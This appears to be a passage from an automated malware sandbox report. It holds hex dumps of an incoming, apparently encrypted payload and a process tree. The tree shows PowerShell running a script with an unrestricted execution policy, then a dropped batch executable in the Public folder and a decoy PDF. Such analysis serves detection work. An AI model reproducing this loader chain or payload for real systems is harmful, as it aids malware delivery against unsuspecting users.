b0 04 00 00 00 00 00 00 00 00 17 62 cf 61 18 62 cf fe 18 62 Data Ascii: pppl\[ZNF9+'~~~~~~~~~~~~~~~~'w;q``````````````````Atxbabb
2023-06-01 10:14:19 UTC	398	IN	Data Raw: 58 44 9a 30 3e ff 7a 6b bd 5b 80 84 08 55 ea 0a b9 c9 b4 0f dc 9e 27 cf 38 00 e3 70 0b 22 1c 6e a5 5a 2c ed 3f 08 f0 e4 3e a1 39 66 09 b7 aa 87 c8 3d 7f 26 03 29 94 c4 83 34 cb 66 30 7b 9e 34 ad 84 d3 f9 37 1e bd d1 11 c3 09 af 48 e6 5f 1d e4 6e a3 20 79 7c 26 80 c9 d8 bb 38 c9 d4 66 51 48 1f b8 0b 8a 46 aa ca 12 68 de 7f 1d f6 3d e9 f8 38 14 2c ec 1e 90 fd 4f 62 47 67 ff 9d 8b 25 5a c9 49 22 d2 24 7e 71 4d f0 dd 5c ff 4d 61 cc 87 20 0d e2 80 f3 1a e1 60 53 b9 18 b1 81 e2 1e f0 56 7b 89 46 60 eb 93 93 35 df 00 f7 fb 86 50 6e 0a c9 25 3b 32 a8 f8 61 df fd 87 a6 1d ba 67 37 3a 4b 97 f1 74 22 a6 f7 0c f0 3f ef 4a a2 a2 2a 7c a1 b6 85 02 39 bf f8 a0 90 e4 4b 6e 02 1d 25 8e bd 17 58 bd 59 2e e2 82 b4 90 8b 95 fc 82 7e 26 a3 e9 a5 a0 d2 bc 3c 54 91 f3 ff 2a 4c Data Ascii: XD0>zk[U'8p"nZ,?>9f=&)4f0{47H_n y\|&8fQHFh=8,ObGg%ZI"$~qM\Ma `SV{F`5Pn%;2ag7:Kt"?J\|9Kn%XY.~&<TL
2023-06-01 10:14:19 UTC	406	IN	Data Raw: 5f 51 4b ba 89 c1 8d 59 cb 53 6b 28 32 c4 8f 40 79 d8 fd a3 e2 65 81 db 45 f8 7d 87 74 3f 25 80 bb 65 67 0b f7 56 dd 5e 07 f2 d6 c4 a0 23 14 c1 7c 36 c8 51 31 40 e7 61 bc 97 37 de f1 33 de e1 4e 0f 32 c1 b8 cb 57 fb df 34 e3 9e ac 15 0c a8 2f db 3a 7c 63 70 2f 10 3f 75 18 13 73 ae 08 dc df 26 51 99 e4 bd 94 e3 b4 9f d3 1b f9 c2 32 8a 6c 1e 15 d4 9b b4 44 aa b1 eb f2 57 b3 ef 24 6a 6d d4 ff 02 b8 44 16 94 c5 0d 7e e0 34 a8 cb 52 61 3f fb 24 a7 a1 6e de 86 92 d9 dc 93 e1 f2 5c c9 71 dd 82 78 19 15 8e 40 fe c1 f8 72 44 26 6e 63 18 28 9f 99 c2 1a 29 63 0a 31 10 78 e6 47 bd 76 19 b4 70 4b 1f 94 09 53 1f ba 02 37 37 9e 3c a7 b3 3c 7f 66 b1 11 b7 b7 ac be 5d 02 7d 51 30 bb 8e 68 f5 28 11 b9 d1 61 e1 cd b4 ea 44 19 6d f1 50 2f 60 d2 43 49 ae 37 c2 d8 42 17 aa b7 Data Ascii: _QKYSk(2@yeE}t?%egV^#\|6Q1@a73N2W4/:\|cp/?us&Q2lDW$jmD~4Ra?$n\qx@rD&nc()c1xGvpKS77<<f]}Q0h(aDmP/`CI7B
2023-06-01 10:14:19 UTC	414	IN	Data Raw: 4e a4 e1 60 cc bc 73 ab f8 b8 0f f4 3d 65 44 d6 4b 2d 31 a2 a1 7c 21 f7 f0 a5 c3 13 16 71 74 34 be f3 db d6 cf b0 00 b9 57 a1 e8 5c d2 8e 35 35 7c 3a 6f 16 b0 e1 53 f1 aa 90 d8 f6 88 58 23 20 ff 7f da 98 8d 3e 26 1f 03 15 46 3e 87 3b 33 f7 e0 91 c4 d3 98 0c 05 9d 71 ff 85 5d 0f fb 78 e1 19 9d bd 2c a6 ed bc 3d ea bc 9c 6a 87 18 3f c7 7c 3f 8d 5e 68 e2 f8 af 58 a1 9a e8 d1 d1 94 8d 8a 9a 65 6e 81 35 7c 5b 51 dc f6 dd 8d 39 2e aa ea 04 6d 0e 4f e6 05 86 84 92 ec 53 4c dc 4c 3b 73 b3 05 0c f2 51 67 8f a4 8b bb b8 5e 66 f3 de 1d 16 01 fc a5 0b 6c 8c 53 83 4b 5f bc a3 bf ba d6 a0 e6 a6 47 76 0e 24 d7 e3 98 c7 5a 7e 44 cc f1 76 42 ba a3 51 98 b9 74 e5 15 8b 57 c2 68 4f 8d 75 90 e4 4c 00 9b 95 2e 56 ad 75 19 5b 1d 30 1b 92 e4 11 d9 6f 3e eb 50 68 c8 be d4 b4 2e Data Ascii: N`s=eDK-1\|!qt4W\55\|:oSX# >&F>;3q]x,=j?\|?^hXen5\|[Q9.mOSLL;sQg^flSK_Gv$Z~DvBQtWhOuL.Vu[0o>Ph.
2023-06-01 10:14:19 UTC	422	IN	Data Raw: 55 79 0f 0a 66 c3 43 0b 50 f0 41 db ee 8f 19 03 72 64 88 ad e5 63 57 62 0e ab 6a ec 8e 78 b4 a7 a0 ae 36 ec 0c a2 f9 1d 73 8e 4d c5 76 f2 de f2 cf 47 7b 2b 3e 31 6e 72 99 51 93 3d 75 83 4f fe 81 66 4d 5e 14 4f 2a 19 75 94 de 39 29 86 32 12 50 19 4f 4d 00 35 75 4a 8d 79 e8 6b b1 ba 3c 61 80 d8 2c 6e 61 4e 87 03 a7 20 b5 79 2b 7f ca 08 ff 01 ba 51 5e 92 89 97 39 c6 17 40 6c 7a 05 a7 77 08 d4 c3 cd 77 fd 26 56 ab 31 c2 35 98 c1 6e d1 44 76 a9 0b e1 1e 57 d3 33 ca f8 a6 f3 0c b3 05 89 46 47 f9 5f 59 eb 4a 51 ca b0 dd 2c be b2 64 2e e6 e0 4e 4c 9f 85 ce 3f 9e 34 41 78 bf 6d bf 00 98 53 95 c0 2b 6c a2 d8 c1 fb 35 d1 2d f9 3f 50 78 c0 6a 5b 00 a7 3b d8 0c a5 d9 ff 79 d7 d9 31 f5 13 91 5b f0 d5 e0 8d a8 d0 e5 f9 15 9a 11 bf 5e 18 ca d1 0a 5e f7 3b 83 dc 65 65 5b Data Ascii: UyfCPArdcWbjx6sMvG{+>1nrQ=uOfM^O*u9)2POM5uJyk<a,naN y+Q^9@lzww&V15nDvW3FG_YJQ,d.NL?4AxmS+l5-?Pxj[;y1[^^;ee[
2023-06-01 10:14:19 UTC	429	IN	Data Raw: 79 9e 39 21 d6 20 c9 6e 52 fc 19 05 a1 da 07 da 3d 41 be 4e a2 92 36 10 9f c2 81 1e 86 6e 92 9e fb cc e3 ba 19 4e 74 b4 a0 7c 78 10 24 18 b0 ac 25 12 d1 80 35 2d c3 85 ec bf 95 8f 7d 59 97 5b 75 00 ee 52 75 2c 8f e7 b7 5e 48 30 c5 d7 39 b8 e2 99 70 18 82 7f 36 51 98 7f 40 c9 27 15 2c 9e 12 8e bf 3d d3 95 04 42 cd 61 05 42 97 f5 f4 fd dd df a9 1d 94 3f 29 1b 18 85 9e 14 f5 a0 5f 1b eb c8 bb af 91 2a 0a 95 1b 66 f1 22 61 32 89 fa 27 48 7f b9 f2 cb de 1d 76 d8 30 91 29 51 b3 6e 36 d2 05 61 04 d5 32 34 87 82 34 4d 1b d4 bc 4b 4d e2 10 33 7c 6d 77 ad 31 66 41 44 5e 22 b1 d8 78 88 b7 17 58 36 ff 9b 60 b5 b2 c5 cc 90 3d 0c b0 63 36 fa 27 79 5a 61 93 d8 c7 c4 22 cd ee db fe 42 95 26 3c c0 b5 54 f5 80 50 02 1b 75 0f 6a 01 53 72 53 18 5f 60 9b 12 40 5d 5d f1 f3 a8 Data Ascii: y9! nR=AN6nNt\|x$%5-}Y[uRu,^H09p6Q@',=BaB?)_*f"a2'Hv0)Qn6a244MKM3\|mw1fAD^"xX6`=c6'yZa"B&<TPujSrS_`@]]
2023-06-01 10:14:19 UTC	437	IN	Data Raw: 25 d7 eb 7b 34 de 9a 1c 7a 11 ba b2 2c ef b9 c6 72 2d d1 f0 fc 3a 37 67 90 83 0a ef 9e 22 e5 79 36 f0 60 d8 fe 1e ed 4a b5 08 f6 51 1d 1f 99 01 e1 c9 f7 5a 6b c0 af 0d 90 fa de 0c 5c c3 4f 49 45 26 ac e0 ae 23 51 d9 b8 4e 73 5e 04 c6 87 1a b3 c8 b2 87 36 b4 a1 e9 dc 1c c0 ed e6 8a 3b e8 9f 63 ab 99 5e 6c 57 7a 78 9d d6 7a e4 69 ae 9c 90 21 3a 58 d1 f1 02 7a 84 24 18 d8 8b 7a f2 9a 0f ca 98 33 f7 23 37 9f 5a 82 73 73 25 7b 3c 08 b3 6c 6e 4a 20 15 c0 c3 b0 3f d1 04 e3 10 2f df 78 71 52 d3 a1 53 94 40 f6 c2 d7 bc cc b9 08 16 c8 ea e9 8e f3 a8 d4 60 c7 4f bf 74 fc 07 ca 46 a8 17 2a 75 69 06 58 b2 82 b1 da fe f8 f5 6c ce bb 66 34 42 a8 44 22 23 e9 ec a9 4e 28 10 84 49 22 ae 21 d1 9d 94 4c b3 74 0e 70 9a 5b 02 ce 41 79 b3 87 b1 0e 92 ca 6a 99 90 7f 58 5e 05 59 Data Ascii: %{4z,r-:7g"y6`JQZk\OIE&#QNs^6;c^lWzxzi!:Xz$z3#7Zss%{<lnJ ?/xqRS@`OtF*uiXlf4BD"#N(I"!Ltp[AyjX^Y
2023-06-01 10:14:19 UTC	445	IN	Data Raw: 1d b2 1b db d1 9f 69 41 1a de ff 0f 8e a4 99 8c 7c b8 5a 6f ec ca e7 95 11 52 30 7f 61 79 5f 4d f9 8d 30 76 fe 0f f2 fe 42 49 c9 64 91 b3 be 11 6a 41 f3 28 68 e6 e3 e4 18 ea 9f ca d6 4c a9 e9 13 fa 6d 9a 2d a0 97 7b f1 6e 77 86 08 fb 6b a8 f2 6a 15 f3 eb 62 de a2 a8 7d 9f 14 30 f2 1d 0b 77 13 33 fe 4f 0b e3 64 5c 51 70 51 5c ee e7 c9 2a a6 4c 49 f4 84 e4 4d c0 a0 9a d7 9a 6d 37 9f 73 e7 c2 dd 7b dc 63 70 b4 1f f3 4a 11 43 72 f2 5a 56 83 24 80 c5 a4 34 4c 94 64 8c e8 04 e1 77 2a a8 0c 9f ec ec 7d bb a0 a6 62 54 f1 d0 f1 f7 f9 b7 5d 77 8d 44 6f d0 96 ae c0 43 a8 06 64 97 38 1a 4f 61 86 36 ce 73 db 85 85 58 f4 12 73 22 6b 16 e1 2e 5c 43 47 03 2c e8 78 2f 3d 57 39 1c 7e 21 ce b4 f8 d7 fa 37 70 37 ea 0c cf 5e 07 83 80 89 b3 4c c0 db f8 85 ec 76 1a f9 cc a0 75 Data Ascii: iA\|ZoR0ay_M0vBIdjA(hLm-{nwkjb}0w3Od\QpQ\LIMm7s{cpJCrZV$4Ldw}bT]wDoCd8Oa6sXs"k.\CG,x/=W9~!7p7^Lvu
2023-06-01 10:14:19 UTC	453	IN	Data Raw: 80 8c 0e 28 4d da 34 f0 88 e1 7a 78 f3 28 60 e2 68 3d 54 b5 69 d6 e0 69 06 cc aa 36 6f aa 57 a6 60 ff 49 f6 1b 83 6a 6e b0 2c 9e 15 c3 cb 5f d9 1a ce dc d5 17 5c c8 9a ee 52 b7 14 da 36 c7 28 83 c9 a3 f3 33 ce 68 c5 9b 3f 87 1c c3 1e af f8 03 bd d8 a0 7f fc 93 cf e7 c7 73 ff 70 8d 0a aa 34 ee 47 60 71 24 d0 50 bd 70 08 9a ed 22 34 a9 88 35 5f 89 5b 7b 25 3c eb b7 64 57 c5 4c bb 8f f3 98 0e 27 39 b0 6e 6b c2 96 9d 9b d9 f1 8c 21 91 aa 34 09 9b 82 7e 44 26 78 ee 7b 4e 9c bd 4f 5d a8 73 d0 cd 1e 3f 14 a6 e2 c6 ca 88 42 62 23 03 f9 7b 02 3e 3f 90 c8 f0 d9 f4 88 a9 3f 79 8a f9 0c f0 d3 bc 5a 37 f6 b7 cf b3 d0 4a 34 69 00 10 b8 f7 97 d5 5c 05 4d 3e 5f 3a 7b a0 7c 1f 1d 51 2d dd 98 21 7e 7d 04 a2 de 5f 8b 65 03 51 4d 84 6f 6f 60 61 4e 18 05 2b 33 fa c4 21 9a 70 Data Ascii: (M4zx(`h=Tii6oW`Ijn,_\R6(3h?sp4G`q$Pp"45_[{%<dWL'9nk!4~D&x{NO]s?Bb#{>??yZ7J4i\M>_:{\|Q-!~}_eQMoo`aN+3!p
2023-06-01 10:14:19 UTC	461	IN	Data Raw: 87 a1 e0 74 f7 ae 7e e6 6e 03 d2 dc 84 be 22 9c a6 8e 00 6b a4 e5 8a ff fd ed 8c fa 80 8e 38 71 b7 fb 97 52 8b 6a de 1a b4 eb 0f dd 3f 65 d8 d0 02 f8 0a 98 7b c3 1b 3d b6 e4 d8 7e 57 f6 c0 c5 2e 43 62 31 f9 9f c6 fc e4 8b b6 60 18 f1 24 f3 62 02 84 c3 39 85 b6 02 ea f1 39 5f 24 9e d6 08 51 c3 8b 2d ad 7a 4a b3 de eb 86 8a 17 87 2c 76 62 37 31 32 cf 31 6e 82 a3 b8 ed d9 ad 45 21 b6 0f d0 ba 5e 8d b3 6c 23 43 2a cd 63 af 63 86 44 b4 cf 1b d3 57 5e c6 42 62 5b 87 b1 ea 82 6a 4c 76 33 b2 50 41 29 1d 29 96 f8 b5 f2 fa a9 58 fb f0 34 05 d4 43 54 81 48 ef 72 5b cc 86 d8 4f ed 99 f1 b9 f5 8c ec 98 b8 85 f0 8f 15 b1 66 05 e7 e8 74 80 15 7f d3 d1 8e 85 eb 45 a6 f0 42 7e 76 ac 1e 59 07 4f 33 cd c9 5a ed 25 6d f6 7d 28 09 f3 10 7a 75 13 e2 14 f4 66 88 59 63 34 c8 33 Data Ascii: t~n"k8qRj?e{=~W.Cb1`$b99_$Q-zJ,vb7121nE!^l#C*ccDW^Bb[jLv3PA))X4CTHr[OftEB~vYO3Z%m}(zufYc43
2023-06-01 10:14:19 UTC	469	IN	Data Raw: f7 f5 ee b5 2f 07 5e 09 d7 cc 81 13 ea b1 dc 29 98 fa df 2b 80 1e d1 18 bb 89 ee 08 80 e8 f3 58 a1 05 3e 59 50 9c 98 e4 2f 06 44 af f3 ed fe 05 12 41 59 0c 58 30 20 4e 46 cf c1 d7 f6 ca 9e da b6 df 92 72 0b 47 28 40 99 cd 77 6d 93 04 61 24 a3 d0 ae 2d 7e db e3 00 1b f7 36 84 c4 3a 16 c7 45 47 f6 c8 04 08 f5 af 9b 3a e8 76 ab b1 bf d6 69 06 5c 37 25 d8 ba 48 0c d8 c2 1d 7b 5f 4f 59 5b 93 a6 5b 7d b7 79 a5 fc 4d 78 ad cb ed 64 45 ee 35 92 0c 9f 10 71 6a 26 05 b0 8f 53 f0 28 34 49 55 d1 75 b8 57 e4 d1 d8 0e 67 3c 6d 4c 2a fa a3 f2 f9 6d a7 6e c2 c7 2f c9 f5 4f 89 91 39 06 4b e0 1e d7 68 d7 eb c9 d6 63 8e 11 56 54 12 c9 09 c8 25 ec f0 82 30 f9 ae 7b 4f 96 6a 44 89 e8 c3 73 dd 4f dc c5 f0 4f e6 85 b9 b3 05 77 a9 84 08 ed 44 77 90 a7 b4 c9 e3 bf 9a 7d 5c 1e e8 Data Ascii: /^)+X>YP/DAYX0 NFrG(@wma$-~6:EG:vi\7%H{_OY[[}yMxdE5qj&S(4IUuWg<mL*mn/O9KhcVT%0{OjDsOOwDw}\
2023-06-01 10:14:19 UTC	476	IN	Data Raw: e8 f3 f6 c4 2e e6 6f 34 04 ec d4 55 d6 28 ad 81 31 7a 42 5e be 7d 18 41 f4 f6 3e f6 a4 7a 6f 67 1b 28 99 b5 b8 a0 3c b1 c8 4f 9c c7 aa 11 d3 c6 cd 5a e4 81 4c c5 e2 9d 97 c3 78 b0 73 5f b9 5c e6 a0 48 b1 03 7d 8b b9 65 98 d1 65 50 3a e8 a3 09 63 49 8a 3b e1 df 70 27 c7 da d9 18 13 30 2c ad bc 40 4b dc 73 d7 2d 80 ab 2d a0 d2 29 4e f5 cb 2b 81 89 0d 95 89 00 55 02 38 b6 2e f1 a0 d2 bb 62 55 b0 08 06 61 59 a1 3a 3e 1c 2a fc fa 21 50 ec 48 07 42 14 db e2 b7 2d f9 69 80 2a ba ff 2b 73 b2 5f d4 2c 68 94 db 2d c9 19 66 b6 e9 05 3d a4 d7 21 75 a0 bb 5d f5 fd fb 51 f6 70 4d 21 97 d0 8f f1 e2 37 c0 17 91 3f dd fb 36 f4 47 91 2f 47 cd e9 89 80 ce ae 4e 89 78 2f d9 a4 d2 6d 05 09 0d 9f 9e 4f f6 a6 ec 83 fd 07 69 09 48 75 ea 55 73 ac bf f5 8e 63 a1 da 6f e3 6e 8e 73 Data Ascii: .o4U(1zB^}A>zog(<OZLxs_\H}eeP:cI;p'0,@Ks--)N+U8.bUaY:>!PHB-i+s_,h-f=!u]QpM!7?6G/GNx/mOiHuUscons
2023-06-01 10:14:19 UTC	484	IN	Data Raw: c2 e5 4a 31 87 12 d7 1b 1d 98 8d 2a 7d 00 55 39 f8 4c c3 f9 7b 91 51 d3 90 42 fc 28 b9 ce ce be 97 e6 a2 07 e8 7f 24 41 1d 43 fe 1b 91 26 7a b9 f1 c0 ee 87 bf d4 72 24 8e 3c bd cc ba 26 3f df 34 09 c9 fe 56 ae ba 8e bb d4 e6 b9 98 55 1d d2 54 28 bf a6 65 cb 88 14 08 20 3a 37 e0 3d 4c aa bb e4 d4 46 73 15 ba 7d 73 cb ec 1d 44 a7 6a 4a 6d c9 ec ad 52 f0 57 46 76 0b 20 1b cd 60 e8 16 56 52 99 74 5a af a8 70 16 41 19 50 66 b2 52 a7 5b e3 ba 4f 21 e6 60 5f c2 cf 91 b3 3e 26 fa 19 f7 e0 f4 73 82 67 b7 07 03 70 1e fa 97 9f a8 a6 6d 12 76 56 59 60 b1 b4 66 e7 e5 e4 9c 94 ad 88 e0 54 e0 6f 4a f7 e2 b8 81 96 e3 96 c6 0f 95 dd 0d 30 99 e6 ca cf 0e 7f a1 0d f9 d8 a7 2f a3 a4 b2 f7 77 4f 8e fb c7 18 43 4a 91 47 a9 83 64 4e 18 35 4b f9 c0 64 68 0d bc 1d ff 9e 9a 09 4c Data Ascii: J1*}U9L{QB($AC&zr$<&?4VUT(e :7=LFs}sDjJmRWFv `VRtZpAPfR[O!`_>&sgpmvVY`fToJ0/wOCJGdN5KdhL
2023-06-01 10:14:19 UTC	492	IN	Data Raw: 72 d9 69 fd 10 6e 8d 0d 95 05 71 9b f8 19 36 57 ac 99 6f 1b 51 6c 97 d9 d4 a4 ee 15 72 73 a8 c9 24 25 42 7b 67 3c 53 b8 d5 e9 1f a5 8d aa 5e f4 75 4a 15 11 20 33 f4 8b 1e 74 61 53 df 74 31 51 fa d2 82 79 03 f0 f2 c1 8b c0 34 26 ce fc e6 78 4e 59 40 e5 43 7f d6 29 1a ef 70 26 96 89 5a 96 a2 fa 65 16 0f e7 64 1f 27 ff ca 26 09 c1 8b 7d 83 f2 72 7e 84 50 56 07 83 d8 36 dc b4 9b ce 01 d9 cc e2 a4 a8 91 24 eb 8a cf 76 47 ae da a1 d2 e4 7c ce 6d 25 0f 6c 76 3f 66 d9 c1 a2 bc 80 21 26 36 bc 32 af 4b a9 57 d7 36 33 c1 d0 21 88 17 3c 6c 4e d5 af ad 49 8b 27 6e 4a 51 da 98 e6 2b fe 64 2e a2 f1 76 03 b8 f8 85 81 ff 3f 5d e7 11 df 1d 14 da 17 f2 21 88 11 cb 72 c8 22 39 b5 27 8f fa 14 15 1c be bd 3b 40 c8 49 94 40 e0 b0 d6 fe 76 8c de f5 dc 2f d4 3d d6 4e 41 9a b0 23 Data Ascii: rinq6WoQlrs$%B{g<S^uJ 3taSt1Qy4&xNY@C)p&Zed'&}r~PV6$vG\|m%lv?f!&62KW63!<lNI'nJQ+d.v?]!r"9';@I@v/=NA#
2023-06-01 10:14:19 UTC	500	IN	Data Raw: e8 23 bb 40 a9 e2 f0 c5 03 0d 4d 83 2a 6b ce 8d 42 c1 a3 32 32 6a ba 43 ad 6f 93 5b f7 86 78 03 f0 98 8c 78 4d 39 0f f0 d5 24 9e 49 4c 8a 01 c1 3c 60 31 47 4e 83 18 98 45 d6 90 dd 2a 58 79 95 16 cb c6 3e f1 a2 e7 30 c5 e7 a9 c9 ab ad 9a 3c a3 0c f4 1a 29 a5 1b 73 95 fd 38 71 77 89 92 34 93 ea 1d f5 21 a9 32 b5 4a 6b 61 a3 89 4f c6 25 20 57 6c da 56 b2 0e 99 5d f7 c4 da 4a ef 51 36 a9 43 f1 02 79 9d 62 c3 0d a6 3e f0 fb 37 f7 49 63 d1 f1 61 3a 12 91 9a de 66 2a e0 eb ef da f2 a6 40 53 bc f6 95 14 6e 5e 45 06 3a 11 e1 94 43 1b 9c b2 22 7c 57 c4 6e ec 2c 97 33 cc b8 0a 36 cb 41 2b 06 89 bf 50 7f 2e b3 17 cd 9e 0c 31 b1 db b7 6b a5 54 43 14 53 94 f8 ae c7 eb 18 71 6c 74 d1 1f 17 5b 1a f2 32 72 17 82 50 d6 32 93 69 ca 5e d1 3f 11 67 16 0d fb 2e b7 c5 ff 4e 8d Data Ascii: #@MkB22jCo[xxM9$IL<`1GNEXy>0<)s8qw4!2JkaO% WlV]JQ6Cyb>7Ica:f*@Sn^E:C"\|Wn,36A+P.1kTCSqlt[2rP2i^?g.N
2023-06-01 10:14:19 UTC	508	IN	Data Raw: ad 74 f3 15 bc 48 70 68 a7 81 63 3f 9e 43 a6 9f 19 53 ba 2b a6 81 52 9d 60 df 61 27 5e 75 e4 ea 8f 92 b4 36 d3 19 2e 2a 24 4b d8 8a 92 13 3b 39 32 4c 15 47 59 74 73 26 f9 1d dd 0f 6f 80 2b 3a 63 a6 c1 32 5a 15 43 be 5f 1d 21 dd 39 df 96 53 30 8f f5 63 ad b3 14 c8 7d a3 7c 66 8a 6a 09 6f 6f 72 ba 28 0c 28 0f 48 4b be 19 d4 6a 25 f6 22 24 5d 11 db b6 b0 22 9b dc 9a 5e 4a 74 17 3f 76 90 91 c5 4a 0c 8a c0 0c bb 52 c9 d6 f1 6c 2f 8a b9 52 38 ab c3 3d 16 74 87 d7 52 b8 44 6f 52 57 8b 44 81 2a e8 f6 99 d8 bc f0 fd 34 ee 16 17 4d 82 9d 15 a5 4b af e3 5e e0 da 67 4a de 67 f0 97 c0 e2 37 25 c9 36 7a 00 09 03 38 de 15 a2 a1 8b 2b fb e6 2d 74 df 3d e8 d4 78 37 95 7e ca 48 4b c1 f2 ee c4 2e 4e f2 33 ce 41 4c 58 2a ff 83 2f cb e2 d5 45 a4 42 bf 4a 66 28 72 67 1c 43 72 Data Ascii: tHphc?CS+R`a'^u6.$K;92LGYts&o+:c2ZC_!9S0c}\|fjoor((HKj%"$]"^Jt?vJRl/R8=tRDoRWD4MK^gJg7%6z8+-t=x7~HK.N3ALX*/EBJf(rgCr
2023-06-01 10:14:19 UTC	515	IN	Data Raw: 9b 40 6f dd 07 2a e4 6d 59 55 3c 66 46 ed e1 14 60 bf 8d c8 a3 8c f9 c1 21 69 1a 48 c3 78 63 c0 a1 e5 c4 b0 e3 1c 78 bf ca 02 47 a8 a8 cb 30 dd c8 44 ef 66 5e c9 46 b2 82 e1 3a f1 01 c3 ce 50 f3 1f 1c c1 ff b1 af 7a df b7 ba 4d 72 f5 ba e4 76 c7 d5 76 64 c7 e5 48 05 38 9b 54 f6 1d b3 89 45 a7 18 90 9c ed d3 7e 96 d4 68 d6 b6 4f e8 e3 5f c0 29 bd 22 cd 6b 25 f1 1d d1 79 0c ac bf ff f4 70 13 22 7a b0 c3 13 65 c7 f0 fd e8 d8 d3 dd 81 d8 d9 4b 2a fe 87 4d 2b b3 96 52 3d e3 96 e2 51 7f 4d 82 22 c0 c9 98 63 00 e5 cb 9d 05 b6 3a 16 a4 7d 52 35 c4 d0 e7 c0 34 a1 18 b7 4a b9 4d 18 9e b0 5c 7c a0 3d 93 a4 c1 f8 41 96 76 5c 3b 8a a2 72 fb 9d 86 26 45 25 68 c3 d5 70 de 0f 11 73 fa 16 0b 2e 2f 30 68 9a 21 fd a2 56 22 ad 67 c8 68 c1 7a a2 f0 95 f3 f7 81 6e 2a 85 cb 9e Data Ascii: @omYU<fF`!iHxcxG0Df^F:PzMrvvdH8TE~hO_)"k%yp"zeKM+R=QM"c:}R54JM\\|=Av\;r&E%hps./0h!V"ghzn*

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: powershell.exePID: 4792, Parent PID: 3452

General

Target ID:	0
Start time:	12:14:15
Start date:	01/06/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\zp.ps1
Imagebase:	0x7ff7466a0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exePID: 1584, Parent PID: 4792

General

Target ID:	1
Start time:	12:14:15
Start date:	01/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iqb3.batPID: 3424, Parent PID: 4792

General

Target ID:	2
Start time:	12:14:19
Start date:	01/06/2023
Path:	C:\Users\Public\iqb3.bat
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\iqb3.bat"
Imagebase:	0x400000
File size:	535909 bytes
MD5 hash:	849ACB6881494898FF4A18A4A0FBDB43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 11%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: AcroRd32.exePID: 6748, Parent PID: 4792

General

Target ID:	3
Start time:	12:14:34
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\user\Desktop\List of required items and services.pdf
Imagebase:	0x180000
File size:	2571312 bytes
MD5 hash:	B969CF0C7B2C443A99034881E8C8740A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: RdrCEF.exePID: 7024, Parent PID: 6748

General

Target ID:	5
Start time:	12:14:42
Start date:	01/06/2023
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Imagebase:	0x3b0000
File size:	9475120 bytes
MD5 hash:	9AEBA3BACD721484391D15478A4080C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high